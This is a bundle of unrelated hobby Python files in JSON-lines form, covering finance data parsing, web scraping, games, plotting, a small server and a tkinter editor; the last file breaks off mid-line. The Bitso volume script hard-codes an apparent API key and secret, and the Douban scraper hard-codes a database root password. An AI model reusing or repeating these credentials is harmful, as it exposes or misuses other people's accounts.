{"seq_id":"728934277","text":"#!/usr/bin/python3\n\ndef usage():\n    print(f'Process federal reserve public releases downloaded from https://www.federalreserve.gov/releases/lbr/ for consolidated and domestic assets of the largest commercial banks. The data has aready been downloaded and is stored locally before processing using fed_reserve.py.')\n    return(0)\n\n# read and sanitise dataset\ndef read_san_data_from_file(input_file):\n    # read in all data from file\n    open_file = open(input_file, \"r\")\n    input_data = open_file.read()\n\n    # split by newline character\n    input_data = input_data.splitlines() \n    open_file.close()\n\n    # remove lines at the begining that are useless. finding the ----- technique\n    i = 0\n\n    # find start of interesting data\n    for x in range(0, 20):\n        if \"-------------------\" in input_data[x]:\n            i += 1\n            if i == 2:\n                input_data = input_data[x + 1:]\n                break\n     \n    # remove every second line. This will include one of the two null lines in the large gaps between chunks of data. \n    # extract consolidated and domestic assets removing trailing and leading whitspace \n    san_input_data = []\n    # for x in range(0, 100):\n    #     print(input_data[x])\n\n    for x in range(0, len(input_data)):\n        # stop once we reach the end of the file\n        if 'Summary' in input_data[x]:\n            break\n        \n        #base case for x = 0\n        if x == 0:\n            # remove multiple whitespaces after we have extracted the correct columns\n            entry = \"\"\n            entry = \" \".join(input_data[0][77:97].strip().split())\n            san_input_data.append(entry)\n        \n        # remaining cases\n        if x % 2 == 0:\n            # remove multiple whitespaces after we have extracted the correct columns\n            entry = \"\"\n            entry = \" \".join(input_data[x][77:97].strip().split())\n            san_input_data.append(entry)\n\n    # remove remaining empty line from chunks of data\n    input_data = [j for i, j in enumerate(san_input_data) if i%6 !=0]\n        \n    # split consol and domestic assests\n    # case 1: whitespace between the two entries. This is happy days\n    # case 2: no whitespace between the two entries. Must look at commas/ length of string to figure out where one string ends and another begins. \n\n    # lists for consolidated data and domestic data\n    consol_list = []\n    domestic_list = []\n\n    # print(len(input_data))\n    for x in range(0, len(input_data)):\n        # case 1 \n        if ' ' in input_data[x]:\n            # removing ','s from figures\n            consol_list.append(input_data[x].split(' ')[0].replace(',', ''))\n            domestic_list.append(input_data[x].split(' ')[1].replace(',', ''))\n        \n        # case 2\n        else:\n            # remove remainin null lines at the end of the file.\n            # if input_data[x].split(' ')[0] != \"\":\n            # removing ','s from figures\n            consol_list.append(input_data[x][0:9].replace(',', ''))\n            domestic_list.append(input_data[x][9:].replace(',', ''))\n\n    return(consol_list, domestic_list)\n\n# write sanitised data to disk\ndef output_to_file(dataset, location):\n    with open(location, 'w') as f:\n        for item in dataset:\n            f.write(\"%s\\n\" % item)\n            \n    return(0)\n\n\ndef main():\n    # define directory where the files are\n    file_directory = '/home/odestorm/Documents/physics_project/analysis/data/collected/fedral_reserve_banks/'\n    directory_output = \"/home/odestorm/Documents/physics_project/data/federal_reserve/\"\n    \n    url_quarter = ['1231','0930', '0630', '0331']\n    for year in range(2002, 2013):\n        for quarter in url_quarter:\n            # read in and sanitise all datasets\n            filename_full = file_directory + str(year) + quarter + \".txt\"\n            consolidated, domestic = read_san_data_from_file(filename_full)\n            output_to_file(consolidated, directory_output + \"consolidated/\" + str(year) + quarter + \".txt\")\n            # write results to disk\n            output_to_file(domestic, directory_output + \"domestic/\" + str(year) + quarter + \".txt\")\n\n    #/home/odestorm/Documents/physics_project/data/federal_reserve/         save location\n    return(0)\n\nif __name__ == '__main__':\n    usage()\n    main()","repo_name":"bluehood/benford_analysis","sub_path":"bin/data_mining/federal_reserve/data_sorting_def_reserve.py","file_name":"data_sorting_def_reserve.py","file_ext":"py","file_size_in_byte":4273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"174159441","text":"import requests\nimport logging\n\n# -*- coding: utf-8 -*-\nif __name__ == '__main__':\n    logging.basicConfig(filename='file_name.txt', level=logging.DEBUG,\n                        format='%(asctime)s-%(levelname)s-%(message)s')\n    data = requests.get('http://localhost:8085/query')\n    # json을 바로 리턴\n    resp = data.json()\n    num = resp[0]['num']  # num여부\n    sw1 = resp[0]['sw1']  # 밸브 온오프여부\n    sw2 = resp[0]['sw2']  # 콕크 온오프여부\n    sw1_power = 0\n    sw2_power = 0\n    # num번째 스위치 몇번 온오프 요청 가능\n    # 무한반복 >> 1번스위치 눌럿는지 안눌럿는지 판별  and 2번스위치 눌럿는지 안눌럿느지 판별>>  1,2번 스위치중 누른거 판별\n    # 1번이 눌렷으면 스위치의 상태값을 바꿔준다  >> 그다음에 on request를 날린다. >> json값을 다시 확인해서 제대로 들어 갔는지 확인 >>\n    # 제대로 안들어갔으면 다시 실행(이거는 일단 보류) (씹히는거니까) >> 다시 누른걸 감지하면 상태값 다시 바꿔주고(바뀌면) off req\n    # if sw1_power == 1:\n    if sw1 == 0:\n        sw1 = sw1 + 1\n        requests.get('http://localhost:8085/onSw1?num={}&sw1={}&sw2={}'.format(num, sw1, sw2))\n        print(\"1번스위치 시작\")\n\n\n    elif sw1 == 1:\n        sw1 = sw1 - 1\n        requests.get('http://localhost:8085/offSw1?num={}&sw1={}&sw2={}'.format(num, sw1, sw2))\n\n    # # if sw1_power == 0:\n    #     if sw1 == 1:\n    #         requests.get('http://localhost:8085/offSw1?num={}&sw1={}&sw2={}'.format(num, sw1, sw2))\n    #         logging.DEBUG('num: ' + str(num))\n    #         logging.DEBUG('sw1: ' + str(sw1))\n    #         logging.DEBUG('sw2: ' + str(sw2))\n    #     else:\n    #         logging.DEBUG('이미 가스밸브가 꺼져 있습니다.')\n    # # if sw2_power == 1:\n    #     if sw2 == 0:\n    #         requests.get('http://localhost:8085/onSw2?num={}&sw1={}&sw2={}'.format(num, sw1, sw2))\n    #         logging.DEBUG('num: ' + str(num))\n    #         logging.DEBUG('sw1: ' + str(sw1))\n    #         logging.DEBUG('sw2: ' + str(sw2))\n    #     else:\n    #         logging.DEBUG('이미 가스콕크가 켜져있습니다.')\n    # # if sw2_power == 0:\n    #     if sw2 == 1:\n    #         requests.get('http://localhost:8085/offSw2?num={}&sw1={}&sw2={}'.format(num, sw1, sw2))\n    #         logging.DEBUG('num: ' + str(num))\n    #         logging.DEBUG('sw1: ' + str(sw1))\n    #         logging.DEBUG('sw2: ' + str(sw2))\n    #     else:\n    #         logging.DEBUG('이미 가스콕크가 꺼져있습니다.')\n","repo_name":"ehgml961017/SmartValve","sub_path":"rpi/json_pharsing.py","file_name":"json_pharsing.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39806561502","text":"__author__ = 'Fabien'\n\n\n#constants\n\nNUM_DAYS = 7\n\ndef main():\n\n    #create a list with to hold 5 days of sales\n\n    sales = [0] * NUM_DAYS\n\n    #variable to the index\n\n    index = 0\n\n    print('Please enter your sales for the week below : ')\n\n    while index < NUM_DAYS:\n\n        #print info for each entry\n\n        print('Day #', index + 1, ': ', sep='', end='')\n\n        #store the user entry into the list\n\n        sales[index] = float(input())\n\n\n        #update the index\n\n        index += 1\n\n    #display the values entered\n\n    print('Your sales for the week: ')\n\n    for sale in sales:\n\n        print(sale)\n\n\nmain()","repo_name":"Tanjersal/Python","sub_path":"List and Tuples/sales_list.py","file_name":"sales_list.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9723355503","text":"import json\nimport time\n\nimport pymysql\nimport requests\nfrom bs4 import BeautifulSoup\n\n\nclass Spider:\n    def __init__(self):\n        self.config = {\n            'host': '127.0.0.1',\n            'port': 3306,\n            'user': 'root',\n            'password': 'zqt1997',\n            'db': 'GProject',\n            'charset': 'utf8mb4'\n        }\n        self.headers = {\n            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'\n        }\n        self.db = pymysql.connect(**self.config)\n        self.cursor = self.db.cursor()\n\n    def connectToDb(self):\n        db = pymysql.connect()\n        cursor = db.cursor()\n        return db, cursor\n\n    def getBookmsg(self):\n        msg = 0\n        return msg\n\n    def getMsgById(self, bookId):\n        bookMsg = {}\n        bookUrl = 'https://book.douban.com/subject/' + str(bookId)\n        html = requests.get(bookUrl, headers=self.headers).text\n        soup = BeautifulSoup(html, 'lxml')\n        tags = soup.find_all('a', attrs={'class': 'tag'})\n        bookTags = []\n        for item in tags:\n            tag = item.text\n            bookTags.append((tag))\n        bookMsg['bookTags'] = bookTags\n        msg_json = soup.find(\n            'script', attrs={\n                'type': \"application/ld+json\"}).text\n        msg_dict = json.loads(msg_json)\n        bookMsg['bookName'] = msg_dict['name']\n        bookMsg['author'] = msg_dict['author'][0]['name']\n        bookMsg['bookId'] = bookId\n        bookMsg['bookUrl'] = bookUrl\n        try:\n            bookMsg['ratingPoint'] = soup.find(\n                'strong', attrs={\n                    'class': 'rating_num'}).text.replace(\n                ' ', '')\n            bookMsg['ratingPeople'] = soup.find(\n                'a', attrs={'class': 'rating_people'}).text[:-3]\n        except:\n            bookMsg['ratingPoint'] = 0\n            bookMsg['ratingPeople'] = 0\n        bookMsg['bookImg'] = soup.find('a', attrs={'class': 'nbg'})['href']\n\n        return bookMsg\n\n    def work(self):\n        self.cursor.execute(\n            \"select id,bookId from bookIdForSpider where hasdone=0 \")\n        data = self.cursor.fetchall()\n        count = 0\n        for line in data:\n            pid = line[0]\n            bookid = line[1]\n            try:\n                msg = self.getMsgById(bookid)\n                self.cursor.execute(\n                    \"insert into bookMsg values(%s,%s,%s,%s,%s,%s,%s,%s)\",\n                    (pid,\n                        bookid,\n                        msg['bookName'],\n                        msg['author'],\n                        msg['bookUrl'],\n                        msg['bookImg'],\n                        msg['ratingPoint'],\n                        msg['ratingPeople']))\n                for tag in msg['bookTags']:\n                    self.cursor.execute(\n                        \"insert into bookToTag(bookId,TagName) values(%s,%s)\", (pid, tag))\n                self.cursor.execute(\n                    'update bookIdForSpider set hasdone=1 where id =%s', (pid))\n                self.db.commit()\n                count += 1\n                print(pid, \" hasdone\")\n                time.sleep(1)\n            except BaseException:\n                self.cursor.execute(\n                    'update bookIdForSpider set hasdone=2 where id =%s', (pid))\n                self.db.commit()\n                print(pid, \" fail\")\n                time.sleep(1)\n\n\nif __name__ == '__main__':\n    sp = Spider()\n    sp.work()\n","repo_name":"dongdongyu/GraduationProject","sub_path":"Spider/DoubanSpider.py","file_name":"DoubanSpider.py","file_ext":"py","file_size_in_byte":3521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2714616989","text":"# Validação dos dados\ndef validaListas(listaCompras, listaEmails):\n    if type(listaCompras) != list:\n        return False, 'listaCompras não é uma lista.'\n    elif type(listaEmails) != list:\n        return False, 'listaEmails não é uma lista.'\n    elif listaCompras == []:\n        return False, 'A lista de compras está vazia.'\n    elif listaEmails == []:\n        return False, 'A lista de emails está vazia.'\n    elif len(listaCompras) != 3:\n        return False, 'A lista de compras não é 3xN'\n    else:\n        itens, qtds, precos = listaCompras\n        if not( len(itens) == len(qtds) == len(precos)):\n            return False, 'A lista de compras não é uma matriz'\n        # Percorrendo cada elemento e verificando se há algum elemento com o tipo\n        # de dado inválido\n        for tipo in list(map(type, precos)):\n            if tipo != float and tipo != int:\n                return False, 'A lista de compras possui preços que não são números'\n        if list(map(type, qtds)) != [int]*len(qtds):\n            return False, 'A lista de compras possui pelo menos um produto com quantidade não inteira.'\n        elif list(map(type, listaEmails)) != [str]*len(listaEmails):\n            return False, 'A lista de emails não é completamente composta por strings'\n        # Se tudo estiver ok, retorna True sem mensagem de erro\n    return True, ''\n\n# Calcula o valor total percorrendo a lista de compras\ndef retornaSoma(listaCompras):\n    itens, qtds, precos = listaCompras\n    soma = 0\n    for i in range(0, len(itens)):\n        soma += qtds[i]*precos[i]\n    return soma\n        \n# Percorrendo a lista de emails e definindo os valores de pagamento\ndef fazMapa(soma_cents, listaEmails):\n    sizeEmails = len(listaEmails)\n    divisao_cents = soma_cents//sizeEmails\n    restoDivisao_cents = soma_cents%sizeEmails\n    mapa = {}\n    for email in listaEmails[::-1]:\n        mapa[email] = divisao_cents\n        if restoDivisao_cents > 0:\n            mapa[email] += 1\n            restoDivisao_cents -= 1        \n    return mapa\n        \ndef desafio(listaCompras, listaEmails):\n    '''\n    Parameters\n    ----------\n    listaCompras : list of lists\n        Matriz 3xN. Descrição das linhas:\n            [0] Itens : str\n            [1] Quantidade de cada item : int\n            [2] Preço por unidade/peso/pacote de cada item em centavos: float\n    listaEmails : list\n        Lista com emails (str).\n\n    Returns\n    -------\n    dict\n        Chaves : e-mail\n        Valores : valor a pagar\n    '''\n    result, msg = validaListas(listaCompras, listaEmails)\n    if result == False:\n        raise ValueError(msg)\n    else:\n        valorTotal = retornaSoma(listaCompras)\n        mapa = fazMapa(valorTotal, listaEmails)\n        return mapa\n","repo_name":"gdssouza/divisao-pagamentos","sub_path":"pagamentos/desafio.py","file_name":"desafio.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41207586131","text":"\nprint(f'\\n{\"-\"*20} Welcome to the Scrabble Calculator v0.06 {\"-\"*21}\\n')\nimport re\n\ndef main():\n    while True: # Function calls, exception handling, repeat option\n        try:\n            player_list, player_dict = input1()\n            dict_final, dict_max = processing1(player_list, player_dict)\n            output1(player_list, player_dict, dict_final, dict_max)\n        except Exception as err:\n            print(err)\n        answer = input('\\nWould you like to rumble again? Enter Y or N: ')\n        while answer.upper() != 'Y' and answer.upper() != 'N':\n            answer = input('Please enter Y or N: ')\n        if answer.upper() == 'N':\n            print(f'\\nThank you for using the program')\n            exit()\n\ndef input1():\n    # Initialize dict and list\n    player_dict = {}\n    player_list = []\n\n    # Ask for player input with validation\n    player_numb = getPosint()\n    for i in range(player_numb):\n        #Player input for names and stored to player_list\n        player = input(f'Enter player #{len(player_list) + 1}\\'s name: ').title()\n        player_list.append(player)\n    print('\\nPress the Enter key twice to end the game or\\nPress ? to consult the dictionary.\\n')\n    # initialize player turn at zero for loop\n    player_turn = 0\n    # Condition assigned as true and loop start\n    game_is_playing = True\n    while game_is_playing is True:\n        score = input(f'Enter score for {player_list[player_turn]}\\'s turn: ')\n        # Conditionals for dictionary and regular play\n        if score == '?':\n            dictionary_mode()\n        elif score != '':\n            # Validation for score input\n            while score.isnumeric() is False or int(score) < 0:\n                score = input('\\tPlease enter a whole number: ')\n            score = int(score)\n            # use setdefault to assign a key and empty list to dictionary/append score to dictionary for each player\n            # assign variable to temp hold list and print after each play/conditional to maintain game flow\n            player_dict.setdefault(f'{player_list[player_turn]}', []).append(score)\n            run_score = player_dict[player_list[player_turn]]\n            print(run_score)\n            if f'{player_list[player_turn]}' != f'{player_list[-1]}':\n                player_turn += 1\n            else:\n                player_turn = 0\n        # break loop w/ False\n        else:\n            game_is_playing = False\n    return player_list, player_dict\n# Validation for number of players. May be overkill. consider removing and using simple validation for player_numb\ndef getPosint():\n    posInt = input('\\nHow many players?: ')\n    print()\n    while posInt.isnumeric() is False or int(posInt) < 2:\n        posInt = input('\\tPlease enter a whole number between 2 and 4 players: ')\n    posInt = int(posInt)\n    return posInt\n\n# Asks for user input and searches txt document for match using input as the pattern\ndef dictionary_mode():\n    start = open('scrabblewords.txt', 'r')\n    scrabble_words = start.read()\n    print(f'\\n{\"-\"*25} Dictionary {\"-\"*26}\\n')\n    shade = input('Enter word you would like to check: ').upper()\n    word_regex = re.compile(f'{shade}')\n    mo = word_regex.search(scrabble_words)\n    shade_fixed = shade.title()\n    if mo == None:\n        print(f'Oops... Looks like {shade_fixed} isn\\'t a word.\\n')\n    else:\n        print(f'Congrats, {shade_fixed} is indeed a word.\\n')\n        start.close()\n    return\n# Collects sum and max value from from player_dict and stores them by player name in new dictionaries\n# Could be improved if player_dict nested in a new dictionary using dict_final and dict_max as keys.\ndef processing1(player_list, player_dict):\n    dict_final = {}\n    dict_max = {}\n    for i in range(len(player_list)):\n        score = player_dict[player_list[i]]\n        sum_score = sum(score)\n        dict_final.update({player_list[i]:sum_score})\n    for i in range(len(player_list)):\n        score = player_dict[player_list[i]]\n        sum_score = max(score)\n        dict_max.update({player_list[i]: sum_score})\n    return dict_final, dict_max\n# Player output including score list, max value play, and player totals\ndef output1(player_list, player_dict, dict_final, dict_max):\n    print(f'\\n{\"-\"*20} Final Tally! {\"-\"*20}')\n    print('{:<29}{:>15}{:>10}'.format('Player Name', 'Max', 'Total'))\n    for i in range(len(player_list)):\n        print('{:<24}{:>20}{:>10}'.format(player_list[i], dict_max[player_list[i]], dict_final[player_list[i]]))\n        print(f'Score List: {player_dict[player_list[i]]}\\n')\n\nmain()\n\n","repo_name":"mn4774jm/PycharmProjects","sub_path":"Pycharm_files/Scrabble_calc/scrabble6_nice.py","file_name":"scrabble6_nice.py","file_ext":"py","file_size_in_byte":4549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71274348580","text":"from .io import parse_csv\nfrom math import sqrt\nimport numpy as np\nimport pylab as pl\n\n\ndef _plot_key(fn, csv, *keys):\n    alpha = 1.0 / sqrt(len(keys))\n    for key in keys:\n        fn(csv[key], label=key, alpha=alpha)\n    pl.legend()\n\n\ndef plot_key(csv, *keys):\n    \"\"\"Create a trace plot for keys (parameter names) in sample set.\n    \"\"\"\n    _plot_key(pl.plot, csv, *keys)\n\n\ndef hist_key(csv, *keys):\n    \"\"\"Create a histogram for keys (parameter names) in sample set.\n    \"\"\"\n    def _(x, **kwargs):\n        pl.hist(x.reshape((-1, )), bins=int(sqrt(len(x))), **kwargs)\n\n    _plot_key(_, csv, *keys)\n\n\ndef trace_nuts(csv, extras='', skip=0, n_col=4):\n    \"\"\"Trace plots of NUTS state, along with other model parameters.\n    \"\"\"\n    from pylab import subplot, plot, gca, title, grid, xticks\n    if isinstance(csv, dict):\n        csv = [csv]\n    if isinstance(extras, str):\n        extras = extras.split()\n    n_nuts_params = 7\n    n_subplots = len(extras) + n_nuts_params\n    n_row = n_subplots // n_col + 1\n    for csvi in csv:\n        i = 1\n        for key in csvi.keys():\n            if key.endswith('__') or key in extras:\n                subplot(n_row, n_col, i)\n                plot(csvi[key][skip:], alpha=0.5)\n                if key in ('stepsize__', ):\n                    gca().set_yscale('log')\n                title(key)\n                grid(1)\n                # e.g. 3x3 subplots, w/ 7 used, want 5,6,7 to have x ticks\n                if i < (n_subplots - n_col):\n                    xticks(xticks()[0], [])\n                i += 1\n\n\ndef pairs(csv, keys, skip=0):\n    \"\"\"Create a pairs plot for keys in the given dataset.\n    \"\"\"\n    import pylab as pl\n    n = len(keys)\n    if isinstance(csv, dict):\n        csv = [csv]  # following assumes list of chains' results\n    for i, key_i in enumerate(keys):\n        for j, key_j in enumerate(keys):\n            pl.subplot(n, n, i * n + j + 1)\n            for csvi in csv:\n                if i == j:\n                    pl.hist(csvi[key_i][skip:], 20, log=True)\n                else:\n                    pl.plot(csvi[key_j][skip:], csvi[key_i][skip:], '.')\n            if i == 0:\n                pl.title(key_j)\n            if j == 0:\n                pl.ylabel(key_i)\n\n\ndef parallel_coordinates(csv, keys, marker='ko-'):\n    \"\"\"Create a parallel coordinates plot for keys in the given dataset.\n    \"\"\"\n    nsamp = csv['lp__'].shape[0]\n    flats = {k: v.reshape((nsamp, -1)) for k, v in csv.items() if k in keys}\n    key_i = 0\n    mats = []\n    key_idx = []\n    key_val = []\n    for k, v in flats.items():\n        mats.append(v)\n        key_idx.append(key_i)\n        key_val.append(k)\n        key_i += v.shape[1]\n    mats = np.hstack(mats)\n    mats = ((mats - mats.min(axis=0)) / mats.ptp(axis=0)).T\n    pl.plot(mats, 'ko-', alpha=1 / np.sqrt(nsamp))\n    pl.xticks(key_idx, key_val)\n    pl.yticks([])\n    pl.grid(1)","repo_name":"maedoc/pycmdstan","sub_path":"pycmdstan/viz.py","file_name":"viz.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"28393566453","text":"import os\nimport time\nimport math\nfrom typing import List, Tuple\n\nfrom pathlib import Path\n\n\ndef save_history(save_dir: str, messages: List[dict]) -> bool:\n    \"\"\"引数として受け取ったディレクトリに，会話履歴を保存\n\n    Args:\n        save_dir (str): 保存先のディレクトリ\n        messages (list): 会話履歴のリスト\n\n    Returns:\n        bool: 保存できたかの真偽値\n    \"\"\"\n    # メッセージのリストを文字列にフォーマット\n    formated_history = _format_chat_history(messages)\n    \n    # 保存先のディレクトリを作成\n    Path(save_dir).mkdir(exist_ok=True)\n    \n    # 作成したディレクトリにファイルを保存\n    formatted_time = time.strftime(\"%Y-%m-%d_%H-%M-%S\")  # 現在時刻を取得&フォーマット\n    save_path = Path(f\"{save_dir}/{formatted_time}.txt\")  \n    save_path.touch()  # ファイルを作成\n    \n    save_path.write_text(formated_history, encoding=\"utf-8\")  # 文字列を書き込み\n    \n    \ndef _format_chat_history(messages: List[dict]) -> str:\n    \"\"\"Messageのリストを受け取り，文字列に変換\n\n    Args:\n        messages (List): メッセージのリスト（辞書のリスト）\n\n    Returns:\n        str: フォーマットを揃えた会話履歴\n    \"\"\"\n    buffer = \"\"\n    for msg in messages:\n        role = msg[\"role\"]   # messsegeの発言者\n        content = msg[\"content\"]  # 内容\n        if role == \"user\":\n            buffer += f\"User: {content}\\n\"\n        elif role == \"assistant\":\n            buffer += f\"Assistant: {content}\\n\"\n            \n    return buffer\n\n\ndef add_context_to_message(\n    messages: List[dict],\n    context: str,\n    role: str = \"sysytem\"\n):\n    \"\"\"ユーザの入力に応じて検索した内容をメッセージに追加．\n\n    Args:\n        messages (List[dict]): メッセージの履歴\n        context (str): 文脈情報（query結果）\n    \"\"\"\n    org_user_msg = messages[-1]\n    current_role = messages[-1][\"role\"]\n    current_content = messages[-1][\"content\"]\n    assert current_role == \"user\"\n    \n    current_content += f\"\\n ユーザ情報: {context}\" \n    messages[-1][\"content\"] = current_content\n    return org_user_msg","repo_name":"TSTB-dev/PerSona","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"5959824394","text":"from aiohttp import web\nfrom multidict import CIMultiDict\nfrom ffdl import *\n\n\nasync def get(request):\n    headers = CIMultiDict()\n    uid = get_id(request.query[\"uid\"])\n    with cd(\"data/\"):\n        book = await create_epub(uid)\n        headers[\"Content-Disposition\"] = f'Attachment; filename=\"{book}\"'\n        return web.FileResponse(f\"data/{book}\", headers=headers)\n\n\napp = web.Application()\napp.router.add_get(\"/get/\", get)\n\nweb.run_app(app, host=\"0.0.0.0\", port=4444)\n","repo_name":"natrys/ffdl","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72398806760","text":"import sys\nimport os\nimport datetime\nimport pytz\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n##\n\n\nfrom bitso import Client, Listener\nimport bitso\n\nutc=pytz.UTC\n\n        \nif __name__ == '__main__':\n    api = bitso.Api(\"AVBtwoGxZY\", \"849ea8d75b88fa08b713841f3b916b90\")\n    # status = api.account_status()\n    # balance = api.balances()\n    # print(status)\n    # print (dir(balance))\n    \n    trades = api.trades(\"btc_usd\", marker=None, limit=1, sort='desc')\n    timezone = trades[0].created_at.tzinfo\n\n    timePeriod = int(input(\"Enter number of days you want the volume for: \"))\n    old_day = datetime.datetime.now(timezone) - datetime.timedelta(timePeriod)\n    # hour = int(input(\"Enter number of hours on top of the date: \"))\n    # old_day = old_day - datetime.timedelta(hours= hour)\n    # print(old_day)\n\n    first_six_hours = old_day - datetime.timedelta(hours= 18)\n    second_six_hours = old_day - datetime.timedelta(hours= 12)\n    third_six_hours = old_day - datetime.timedelta(hours= 6)\n\n\n\n    tickers = [\"mana_mxn\", \"xrp_mxn\", \"ltc_mxn\", \"bch_mxn\", \"bat_mxn\", \"btc_mxn\", \"eth_mxn\"] \n    # max 30000 trades in a mintue 300 api call * 100 per \n    vol = {}\n    for ticker in tickers:\n        done = False\n        cur_marker = None\n        second, third, last = (True,) * 3\n        volume_mxn = 0\n        while not done:\n            if cur_marker:\n                trades = api.user_trades(book=ticker, marker = cur_marker, limit = 100, sort='desc')\n            else:\n                trades = api.user_trades(book = ticker, limit = 100, sort='desc')\n                # print(trades[0])\n                # print(trades[0].created_at)\n                print(ticker)\n\n            for trade in trades:\n\n                if trade.created_at < old_day:\n                    if last:\n                        if 4 in vol:\n                            vol[4] += volume_mxn\n                        else:\n                            vol[4] = volume_mxn\n                        last = False\n\n                if trade.created_at < third_six_hours:\n                    if third:\n                        if 3 in vol:    \n                            vol[3] += volume_mxn\n                        else:\n                            vol[3] = volume_mxn\n                        third = False\n\n                if trade.created_at < second_six_hours:\n                    if second:\n                        if 2 in vol:\n                            vol[2] += volume_mxn\n                        else:\n                            vol[2] = volume_mxn\n                        second = False\n\n                if trade.created_at < first_six_hours:\n                    done = True\n                    print(\"LAST TRADE (not in time frame) CREATED DATE: \" + str(trade.created_at))\n                    if 1 in vol:\n                        vol[1] += volume_mxn\n                    else:\n                        vol[1] = volume_mxn\n                    break\n                \n                volume_mxn += abs(trade.minor)\n\n\n            cur_marker = trade.tid\n            # print(volume_mxn)\n            # print(counter)\n    print(str(timePeriod) + \" Day: \" + str(vol[4]))\n    print(\"Day + 6 hours: \" + str(vol[3]))\n    print(\"Day + 12 hours: \" + str(vol[2]))\n    print(\"Day + 16 hours: \" + str(vol[1]))\n\n\n    \n    # trades = api.trades(\"btc_usd\", marker=None, limit=100, sort='desc')\n    # print(trades)\n    # trade = trades[1]\n    # print(trade)\n    # volume_mxn += trade.price * trade.amount\n    # # trade_time = trade.created_at.replace(tzinfo = utc)\n    # print(trade.created_at)\n    # print(today > trade.created_at)\n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n    \n\n","repo_name":"Jay-Trades/bitso-volume-alculator","sub_path":"bitso_vol.py","file_name":"bitso_vol.py","file_ext":"py","file_size_in_byte":3645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"2743119874","text":"import os\n# to do experiment or with no of combination of hyperparameter\n#its like custom grid search \n\n\nn_estimators =[110,100,150,200,210]\nmax_depth =[20,25,15,10,5]\n\n\nfor n in n_estimators:\n    for m in max_depth:\n        os.system(f\"python basic_ml_model.py -n{n} -m{m}\")\n        #os.system run python basic_ml_model.py command in cmd terminal with n ,m values passed here ","repo_name":"AkshayNikam123/mlops","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"8350091138","text":"# Version:        The current OSPF version number. This can be either 2 or 3.\n# Type:           Type of OSPF Header.\n# Length          Length of the Header, in bytes, including the header.\n# RouterID        IP address of the router from which the Header originated.\n# AreaID          Identifier of the area in which the Header is traveling. Each OSPF Header is associated with a single\n#                area. Headers traveling over a virtual link are labeled with the backbone area ID, 0.0.0.0. .\n# Checksum        Fletcher checksum.\n# Authentication  (OSPFv2 only) Authentication scheme and authentication information.\n# InstanceID      (OSPFv3 only) Identifier used when there are multiple OSPFv3 realms configured on a link.\nclass OSPFHeader(object):\n    def __init__(self, version, code, header_type, length, router_id, area_id, auth_type, authentication1,\n                 authentication2):\n        self.version = version\n        self.code = code\n        self.header_type = header_type\n        self.length = length\n        self.routerID = router_id\n        self.areaID = area_id\n        self.checksum = 0  # computed later\n        self.authType = auth_type\n        self.authentication1 = authentication1\n        self.authentication2 = authentication2\n\n    def set_code(self, code):\n        self.code = code\n","repo_name":"raphaelbaldi/redes-ospf","sub_path":"packet/OSPFHeader.py","file_name":"OSPFHeader.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12990984048","text":"import tkinter as tk\nfrom tkinter import filedialog,font, messagebox\nclass FeedbackFrame(tk.Frame):\n    def __init__(self, master, user, return_page):\n        super().__init__(master)\n        self.user= user\n        self.master = master\n        self.return_page= return_page\n\n        self.my_feedback = tk.Text(self, wrap= tk.WORD, font=(\"Arial\", 13), selectbackground= \"blue\", selectforeground=\"black\", undo= \"True\")\n        self.my_feedback.pack()\n        toolbar_frame = tk.Frame(self)\n        toolbar_frame.pack(fill=tk.X)\n\n        my_menu= tk.Menu(self)\n        self.master.config(menu= my_menu)\n\n        file_menu = tk.Menu(my_menu, tearoff= False)\n        my_menu.add_cascade(label= \"File\", menu = file_menu)\n        file_menu.add_command(label= \"New\", command= self.new_file)\n        file_menu.add_command(label= \"Open\", command= self.open_file)\n        file_menu.add_command(label= \"Save\", command= self.save_file)\n        file_menu.add_command(label= \"Save As\", command= self.save_as)\n\n        edit_menu = tk.Menu(my_menu, tearoff= False)\n        my_menu.add_cascade(label= \"Edit\", menu = edit_menu)\n        edit_menu.add_command(label= \"Undo\", command=self.my_feedback.edit_undo, accelerator = \"(Ctrl+z)\")\n        edit_menu.add_command(label = \"Redo\",command=self.my_feedback.edit_redo, accelerator= \"(Ctrl+y)\" ) \n\n        self.status_bar = tk.Label(self, text =\"Ready\", anchor= tk.E)\n        self.status_bar.pack(fill= tk.X, side = tk.BOTTOM, ipady= 5)\n\n        bold_button = tk.Button(toolbar_frame,text =\"Bold\", command= self.bold)\n        bold_button.grid(row= 0, column=0, sticky= tk.NW)\n\n        italic_button = tk.Button(toolbar_frame,text =\"Italic\", command= self.italic)\n        italic_button.grid(row= 0, column=1, sticky= 